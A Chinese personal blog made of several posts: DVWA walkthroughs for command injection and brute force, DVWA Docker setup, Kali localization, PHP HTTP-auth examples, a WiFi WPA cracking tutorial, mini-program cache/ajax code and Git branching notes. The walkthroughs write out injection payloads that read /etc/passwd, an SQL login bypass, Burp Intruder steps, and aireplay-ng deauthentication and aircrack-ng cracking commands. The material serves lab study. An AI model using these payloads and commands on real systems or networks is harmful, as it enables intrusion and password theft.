l1n6yun's Blog

记录学习的技能和遇到的问题

漏洞简介

命令注入这玩意,简单说就是用户输入的东西被当成系统命令执行了。比如一个 ping 功能,输入 IP 就能 ping,但如果没过滤好,输入个 127.0.0.1;ls 就能把 ls 也执行了,这就叫命令注入。

这关主要就是学怎么利用这个漏洞拿到服务器信息。

常用连接符

先记几个常用的命令连接符:

连接符 作用
; Linux 专用,前后命令都执行
&& 前面的成功了才执行后面的
|| 前面的失败了才执行后面的
| 管道,前面输出给后面
& Linux 后台运行,Windows 也能当连接符用

Low 级别

看源码:

1
2
$target = $_REQUEST[ 'ip' ];
$cmd = shell_exec( 'ping -c 4 ' . $target );

用户输入直接拼进命令执行了,一点过滤都没有,想执行啥都行。

测试一下

输入 127.0.0.1;ls

1
2
3
4
5
6
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.023 ms
...
help
index.php
source

看到最后多出来几个文件名了吧,ls 命令执行成功了。

换个姿势,127.0.0.1&&whoami

1
2
...
www-data

当前用户是 www-data。

再看个狠的,127.0.0.1|cat /etc/passwd

1
2
3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

直接把 passwd 文件读出来了。

还可以看看系统信息 127.0.0.1;uname -a

1
2
...
Linux 5aaff548a97b 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux

这信息泄露够多的。

Medium 级别

Medium 开始过滤了:

1
2
3
4
5
6
$substitutions = array(
'&&' => '',
';' => '',
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

过滤了 &&;,但是漏了 |||& 这些。

绕过方法

|| 的话,前面的命令得失败才能执行后面的,所以可以这样:

1
127.0.0.1||ls

或者直接用管道符:

1
127.0.0.1|whoami

管道符最香,因为它只输出后面命令的结果,干净利落。

High 级别

High 级别过滤得更狠:

1
2
3
4
5
6
7
8
9
10
11
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

看起来过滤了 | ||,但仔细看,| 过滤的是管道符加空格,也就是说管道符后面不带空格就没事。

绕过

直接用管道符不加空格:

1
127.0.0.1|ls

或者:

1
127.0.0.1|whoami

又绕过去了。这过滤写得还是不够严谨。

Impossible 级别

Impossible 级别是真正的安全写法:

1
2
3
4
5
6
7
8
$target = stripslashes( $target );
$octet = explode( ".", $target );

if( is_numeric( $octet[0] ) && is_numeric( $octet[1] ) && is_numeric( $octet[2] ) && is_numeric( $octet[3] )
&& ( $octet[0] < 256 ) && ( $octet[1] < 256 ) && ( $octet[2] < 256 ) && ( $octet[3] < 256 ) ) {
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 执行 ping
}

把输入按 . 分成四段,每段必须是数字而且要在 0-255 之间,这才能通过验证。这才是 IP 地址应该有的校验方式,从根本上杜绝了命令注入。

小结

命令注入危害挺大的,防护的话:

  1. 能不用系统命令就别用,语言自带函数能解决大部分问题
  2. 实在要用就得做好输入校验,用白名单
  3. escapeshellarg() 这类函数转义参数
  4. Web 服务尽量用低权限账户跑

漏洞简介

Brute Force,说白了就是暴力破解。拿一堆账号密码挨个试,总有一个能蒙对的。虽然听着挺 low 的,但说实话很多系统还是会被这种方式攻破,尤其是那些密码设得简单的。

这关主要用 Burp Suite 来搞,算是入门必备工具了。

Low 级别

先看源码:

1
$getid  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

好家伙,直接拼 SQL,连注入带爆破都能搞。

方法一:SQL 注入直接绕过

既然有注入,那还爆什么破,直接绕登录:

用户名填 admin'# 或者 admin' or '1'='1'#,密码随便填,直接进。

登录成功

方法二:Burp Suite 暴力破解

想练手 Burp Suite 的话,还是走爆破路线。

第一步:抓包

打开 DVWA 的 Brute Force 页面,随便输个账号密码,点登录。Burp 会把请求拦下来,右键选 Send to Intruder

upload successful

第二步:设置攻击点

进 Intruder -> Positions,把预设的标记都清掉,然后选中用户名和密码这两个值,点 Add § 加标记:

1
username=§admin§&password=§123456§&Login=Login

upload successful

第三步:配置字典

切到 Payloads 选项卡:

Payload set 1 填几个常见用户名:adminadministratorroottest

upload successful

Payload set 2 填密码,可以自己写几个常用的,也可以加载字典文件。

upload successful

第四步:开跑

点 Start attack,等着就行。看 Length 这一列,响应长度不一样的那个就是成功了。

upload successful

跑出来用户名 admin,密码 password

Medium 级别

Medium 级别加了个 mysql_real_escape_string() 转义特殊字符,还有个 sleep(2) 延迟:

1
2
$user = mysql_real_escape_string($user);
$pass = mysql_real_escape_string($pass);

注入是没法注入了,但爆破还是能爆,就是慢了点,每次都要等 2 秒。耐心点就行,反正又不是手工试。

High 级别

High 级别加了 CSRF Token,每次请求都要带上有效的 user_token

1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

这就麻烦了,普通的 Intruder 模式没法用,因为每次都要先获取新的 Token。

绕过方法

用 Burp 的 Pitchfork 模式配合 Recursive grep

第一步:设置攻击类型

攻击类型选 Pitchfork,标记密码和 token:

1
username=admin&password=§123456§&Login=Login&user_token=§token_here§

upload successful

第二步:配置提取 Token

在 Options -> Grep - Extract 里添加规则,从响应里提取 user_token 的值。

upload successful

第三步:设置重定向

把 Follow redirections 改成 Always。

upload successful

第四步:配置 Payload

第一个 Payload 用密码字典。

第二个 Payload 类型选 Recursive grep,从上一个响应里提取 Token。

upload successful

第五步:开跑

点开始,观察结果,找到对的密码。

upload successful

Impossible 级别

Impossible 级别是真没法爆了:

1
2
3
4
5
6
$total_failed_login = $row[ 'total_failed_login' ];
$lock_time = strtotime( $row[ "last_login" ] ) + (15 * 60);

if( $total_failed_login >= 3 && strtotime( $row[ "last_login" ] ) > $lock_time ) {
// 账户被锁定
}

连续失败 3 次就锁 15 分钟,这就没法玩了。加上还有 CSRF Token、PDO 预处理、密码加密存储,这才是正确的安全姿势。

小结

暴力破解虽然听着土,但真挺有效的,尤其是那种密码设得简单还没防护的系统。做防护的话,记住几点:

  • 限制登录次数,失败几次就锁定
  • 加验证码
  • 强制强密码
  • 最好上个双因素认证

前言

最近在学 Web 安全,发现 DVWA 这个靶场挺适合练手的。DVWA 全称是 Damn Vulnerable Web Application,说白了就是一个故意写满漏洞的 PHP 网站,专门用来让我们学习怎么发现和利用漏洞。

不过有一点要注意,这玩意漏洞太多了,千万别部署到公网上去,我就放在本地的 Docker 里跑,安全第一。

安装步骤

1. 拉取镜像

既然用 Docker,那就简单了,先拉个镜像:

1
docker pull vulnerables/web-dvwa

等几分钟就能拉下来。

2. 启动容器

然后跑起来:

1
docker run -d -p 3892:80 vulnerables/web-dvwa

这里 -d 是后台运行,-p 3892:80 把容器里的 80 端口映射到本机的 3892 端口。端口随便改,只要没被占用就行。

3. 访问测试

打开浏览器访问 http://localhost:3892,应该能看到 DVWA 的界面了。

upload successful

4. 登录

默认账号密码:

  • 用户名:admin
  • 密码:password

登录进去就可以开始玩了。

安全级别说明

DVWA 有四个安全级别,在左边菜单可以切换:

级别 难度
Low 最简单,基本没防护,适合入门
Medium 有一点防护,但能绕过
High 防护比较强,需要点技巧
Impossible 安全编码的示范,基本没法攻破

建议从 Low 开始,一步步往上学,最后看看 Impossible 级别的代码是怎么写的,这才是正确的学习姿势。

后续计划

DVWA 有挺多漏洞模块的,后面我会一个个写通关教程:

  • Brute Force(暴力破解)
  • Command Injection(命令注入)
  • CSRF(跨站请求伪造)
  • File Inclusion(文件包含)
  • File Upload(文件上传)
  • Insecure CAPTCHA(不安全的验证码)
  • SQL Injection(SQL 注入)
  • SQL Injection Blind(盲注)
  • Weak Session IDs(弱会话 ID)
  • XSS DOM(DOM 型 XSS)
  • XSS Reflected(反射型 XSS)
  • XSS Stored(存储型 XSS)
  • CSP Bypass(内容安全策略绕过)
  • JavaScript(JavaScript 攻击)

先装好环境,下一篇开始讲暴力破解。

  1. 在 Kali 的桌面按下 Ctrl+Alt+T 打开终端

  2. 使用 root 权限执行 sudo dpkg-reconfigure locales
    upload successful

  3. 选中 en_US.UTF-8 UTF-8zh_CN.UTF-8 UTF-8 (注意:按下空格键选中,选好后按下TAB键退出编码格式选项,跳到OK选项)
    upload successful

  4. 选择 zh_CN.UTF-8,选择OK
    upload successful

  5. 在终端键入reboot, 重启Kali
    upload successful

  6. 重启Kali后, 建议选择保留旧的名称
    upload successful

  7. 此时可以看到界面已经汉化完成了!
    upload successful

Example #1 Basic HTTP 认证范例

1
2
3
4
5
6
7
8
9
10
11
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
?>

Example #2 Digest HTTP 认证范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
$realm = 'Restricted area';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');


if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Digest realm="'.$realm.
'",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');

die('Text to send if user hits Cancel button');
}


// analyze the PHP_AUTH_DIGEST variable
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
!isset($users[$data['username']]))
die('Wrong Credentials!');


// generate the valid response
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);

if ($data['response'] != $valid_response)
die('Wrong Credentials!');

// ok, valid username & password
echo 'You are logged in as: ' . $data['username'];


// function to parse the http auth header
function http_digest_parse($txt)
{
// protect against missing data
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
$data = array();
$keys = implode('|', array_keys($needed_parts));

preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
$data[$m[1]] = $m[3] ? $m[3] : $m[4];
unset($needed_parts[$m[1]]);
}

return $needed_parts ? false : $data;
}
?>

Example #3 强迫重新输入用户名和密码的 HTTP 认证的范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function authenticate() {
header('WWW-Authenticate: Basic realm="Test Authentication System"');
header('HTTP/1.0 401 Unauthorized');
echo "You must enter a valid login ID and password to access this resource\n";
exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) ||
($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
authenticate();
}
else {
echo "<p>Welcome: {$_SERVER['PHP_AUTH_USER']}<br />";
echo "Old: {$_REQUEST['OldAuth']}";
echo "<form action='{$_SERVER['PHP_SELF']}' METHOD='post'>\n";
echo "<input type='hidden' name='SeenBefore' value='1' />\n";
echo "<input type='hidden' name='OldAuth' value='{$_SERVER['PHP_AUTH_USER']}' />\n";
echo "<input type='submit' value='Re Authenticate' />\n";
echo "</form></p>\n";
}

Aircrack-ng是一个基于WiFi无线网络分析有关的安全软件,主要功能有网络侦测、数据包嗅探、WEP和WPA/WPA2-PSK破解等。
因为安全性的原因。现在,周围很少有用WEP算法来加密的WiFi密码,不过基本命令都很相似。

WiFi网络构成

  1. WiFi是一个建立于IEEE 802.11标准的无线局域网络(WLAN)设备。
  2. WiFi工作原理AP(Access Point 例如:无线路由器)每100ms将SSID(Service Set Identifier)经由beacons(信号台)封包广播一次。

查看网卡信息

1
iwconfig

upload successful

启动监听模式

1
airmon-ng start wlan0

upload successful

准备抓取握手包

1
airodump-ng -c 6 -bssid 64:6E:97:DA:39:5C -w thomas wlan0
  • -c:信道号
  • –bssid:apMAC
  • -w:保存的文件名

upload successful

扫描到的WiFi热点信息

  • BSSID:WiFi路由器的MAC地址
  • PWR:网卡报告信号水平,信号值越高说明离AP越近。(PWR=-1,网卡驱动不支持报告此项信息)
  • Beacons:无线AP发出的通告编号
  • #Data:被捕获到的数据分组的数量(一般数据量越大,抓取握手包更容易)
  • #/s:过去10秒钟内每秒捕获数据分组的数量
  • CH:信道号(从Beacon中获取)
  • MB:无线AP所支持的最大速率
  • ENC:加密算法体系
  • CIPHER:加密算法
  • AUTH:使用的认证协议
  • ESSID:wifi名称

使已连接WiFi的用户A强制下线,之后A会向WiFi路由重新发送一个带密码的请求握手包

1
aireplay-ng -0 2 -a 64:6E:97:DA:39:5C -c C2:46:34:ED:48:4C wlan0
  • -0:攻击数据包数量
  • -a:WiFi MAC 地址
  • -c:用户 MAC 地址

upload successful

出现 WAP handshake 表示已经获取到了握手包,下面就可以实现破解了

upload successful

开始爆破

1
aircrack-ng -w pass.txt thomas-01.cap
  • -w:字典文件路径

upload successful

hashcat

关于密码破解,可以使用kali自带的hashcat使效率大大增加

1
2
aircrack-ng [抓取到的握手包文件名] -J [转换后的文件名]
hashcat -m 2500 .hccap password.txt

参数: -m 2500为破解的模式为WPA/PSK方式 hccap格式的文件是刚刚转化好的文件 字典文件

注:最新版hashcat一般情况下不支持hccap格式,第一步需将握手包cap格式转换为hccapx

model层就不用多说了,主要是把数据处理部分独立出来,便于统一服务和维护,这里重点强调下model内部的实现细节,这里有一个实现技巧可以用在其它别的地方。下面直接上代码部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import cache from '../utils/cache.js'
import ajax from '../utils/ajax.js'

// 统一的接口地址,一般一个controller下面多个action是一致的
let url = "";

/**
* 格式化请求参数,根据不同的接口自行处理
* @params params 键值对对象,形如{}
* @return {*} 格式化后的参数
*/
let formatParams = function(params) {
return params;
}

/**
* 格式化返回结果,根据不同的接口自行处理
* @params data 对象 数组等任何合法的JS数据类型
* @return {*} 格式化后的数据
*/
let formatResult = function(data) {
return data;
}


module.exports = {

/**
* 读取可用游戏业务列表
* @params params 参数,本接口用不到
* @return {*} 返回 Promise 对象
*/
getList(params) {

// 如果接口地址不一致,这里重写
let url = "";

// 如果有特殊的参数处理逻辑,这里重写
let formatParams = function(params) {
return params;
}

// 如果有特殊的格式处理,这里重写
let formatResult = function(result) {
return result;
}

/**
* 如果需要自己先判断缓存或者别的处理,这里手动使用Promise封装一下即可
*/
return new Promise((resolve, reject) => {

var goods_list = cache.get("goods_list");

if (null == goods_list) {
resolve(goods_list)
} else {
ajax.get({
url: url,
data: formatParams(params),
login: false,
loading: true,
}).then((res) => {
var data = formatResult(res.data)
cache.set("goods_list", data, 86400)
resolve(data);
}).catch((error) => {
reject(error)
})
}
})
}
}
1
2
3
4
5
6
7
import goods from '../../models/goods.js'

goods.getList().then((res) => {
console.log("成功", res)
}, (error) => {
console.log("失败", error)
})
  1. 把参数处理和返回结果处理拆出来放到单独的处理方法里,方法名称保持统一: formatParamsformatResult
  2. 同时最外层定义好默认的 formatParamsformatResult ,如果不做特殊处理,直接使用默认即可(建议不处理也调用下默认方法,规范流程)
  3. 还有一点,model里方法命令有统一规范都是已 getaddupdatedel 开头

这个思路其实可以运用到任何场景,特别是在没有任何限定框架的场景,我们只需要按照这个模式去实现,代码一样很清晰漂亮。

其实,小程序自带了缓存接口,有同步 wx.setStorageSync ,异步 wx.setStorage 的方法,但是实际在使用缓存的场景里,我们一般都是需要设置缓存有效时间的,本cache工具就是对小程序缓存接口的封装,实现了对缓存有效期的支持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
module.exports = {
test: function() {
try {
wx.setStorageSync("JDC_TEST", "1");
wx.removeStorageSync("JDC_TEST");
return true;
} catch (e) {
wx.showModal({
title: "提示",
content: "小程序缓存出现问题,请稍后使用",
showCancel: !1,
success: function(e) {
if(e.confirm){
console.log("用户点击确定");
}
}
})
return false;
}
},
set: function(name, value, expire) {
if (typeof expire == "number") {
expire = expire * 1e3;
} else {
expire = 2592e5
}
wx.removeStorageSync(name);
var time = new Date().getTime();
try {
wx.setStorageSync(name, {
_value: value,
_time: time,
_age: time + expire
});
return true;
} catch (e) {
return false;
}
},
get: function(name) {
var data = this._isExpire(name);
if (data !== true) {
return data._value
} else {
return null
}
},
del: function(name) {
try {
wx.removeStorageSync(name);
return !0;
} catch (e) {
return !1;
}
},
_isExpire: function(name) {
var data = wx.getStorageSync(name);
var time = new Date().getTime();
if (data && time < data._age) {
return data;
} else {
return true;
}
},
}
1
2
3
4
5
import cache from '../utils/cache.js'

cache.set("key","value",7200);
cache.get("key");
cache.del("key");

实现了 promise 的封装,支持GET、POST、PUT 和DELELE这里设计的时候就确定为仅满足单项目通用即可,所以实现的时候融入了部分业务层面的逻辑:

  • 接口首次格式化,兼容标准的json和var形式接口(内部有大量var形式的接口)
  • 直判断返回值在逻辑上是成功还是失败
  • 针对返回未登录的情况,自动跳转登录流程

所以省去了业务调用侧的反复判断处理通用逻辑,使用更简洁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
var host = "http://www.baidu.com";

var showLoading = null;

module.exports = {
HOST: host,
API_ROOT: host + '/api/',
API_VERSION: '1.0.0',
get(options) {
options.method = 'GET';
return this.request(options);
},
post(options) {
options.method = 'POST';
return this.request(options);
},
delete(options) {
options.method = 'DELETE';
return this.request(options);
},
put(options) {
options.method = 'PUT';
return this.request(options);
},
request(options) {
var that = this
var apiRoot = this.API_ROOT;

var token = '';
try {
token = wx.getStorageSync('token')
} catch (e) {}

var requireLogin = true;
if (typeof options.login == 'undefined' || options.login == true) {
requireLogin = true;
} else {
requireLogin = false;
}

if (typeof options.loading != 'undefined' && options.loading == true) {
clearTimeout(showLoading)
showLoading = setTimeout(function() {
wx.showToast({
title: "加载中",
icon: "loading",
duration: 1e4
});
}, 500)
}

return new Promise((resolve, reject) => {
wx.request({
url: apiRoot + options.url,
data: options.data,
method: options.method ? options.method : 'POST',
header: {
'Cache-Control': 'no-cache',
'Content-Type': 'application/x-www-form-urlencoded',
'XX-Token': token,
'XX-Device-Type': 'wxapp',
'XX-Api-Version': that.API_VERSION
},
success: (res) => {
clearTimeout(showLoading)
wx.hideToast()
if (res.data.code == 10001 && requireLogin) {
// 执行登陆
let currentPages = getCurrentPages();
let currentRoute = currentPages.pop()['__route__'];
if (currentRoute != 'pages/login/login') {
wx.navigateTo({
url: '/pages/login/login'
});
}
} else {
resolve(res)
}
},
fail: (error) => {
clearTimeout(showLoading)
wx.hideToast()
reject(error)
}
})
})
}
}
1
2
3
4
5
6
7
8
9
10
11
import ajax from '../utils/ajax.js'

ajax.get({
url: url,
login: false,
loading: true,
}).then((res) => {
console.log(res)
}).catch((error) => {
console.log(error)
})

本文用于介绍 GIT分支模型的策略与发布。

img

在git分支模型中我们一般会用到如下四种分支:

  • 主分支
  • 特性分支
  • release分支
  • hotFix分支

分别使用4个种类的分支来进行开发的。

主分支

img

主分支有两种:master分支和develop分支

  • master
    master分支只负责管理发布的状态。在提交时使用标签记录发布版本号。
  • develop
    develop分支是针对发布的日常开发分支。刚才我们已经讲解过有合并分支的功用。

特性分支

特性分支就是我们在前面讲解过的topic分支的功用。

这个分支是针对新功能的开发,在bug修正的时候从develop分支分叉出来的。基本上不需要共享特性分支的操作,所以不需要远端控制。完成开发后,把分支合并回develop分支后发布。

img

release分支

release分支是为release做准备的。通常会在分支名称的最前面加上release-。release前需要在这个分支进行最后的调整,而且为了下一版release开发用develop分支的上游分支。

一般的开发是在develop分支上进行的,到了可以发布的状态时再创建release分支,为release做最后的bug修正。

到了可以release的状态时,把release分支合并到master分支,并且在合并提交里添加release版本号的标签。

要导入在release分支所作的修改,也要合并回develop分支。

hotFix分支

hotFix分支是在发布的产品需要紧急修正时,从master分支创建的分支。通常会在分支名称的最前面加上 hotfix-

例如,在develop分支上的开发还不完整时,需要紧急修改。这个时候在develop分支创建可以发布的版本要花许多的时间,所以最好选择从master分支直接创建分支进行修改,然后合并分支。

修改时创建的hotFix分支要合并回develop分支。

img

参考

  • A successful Git branching model
0%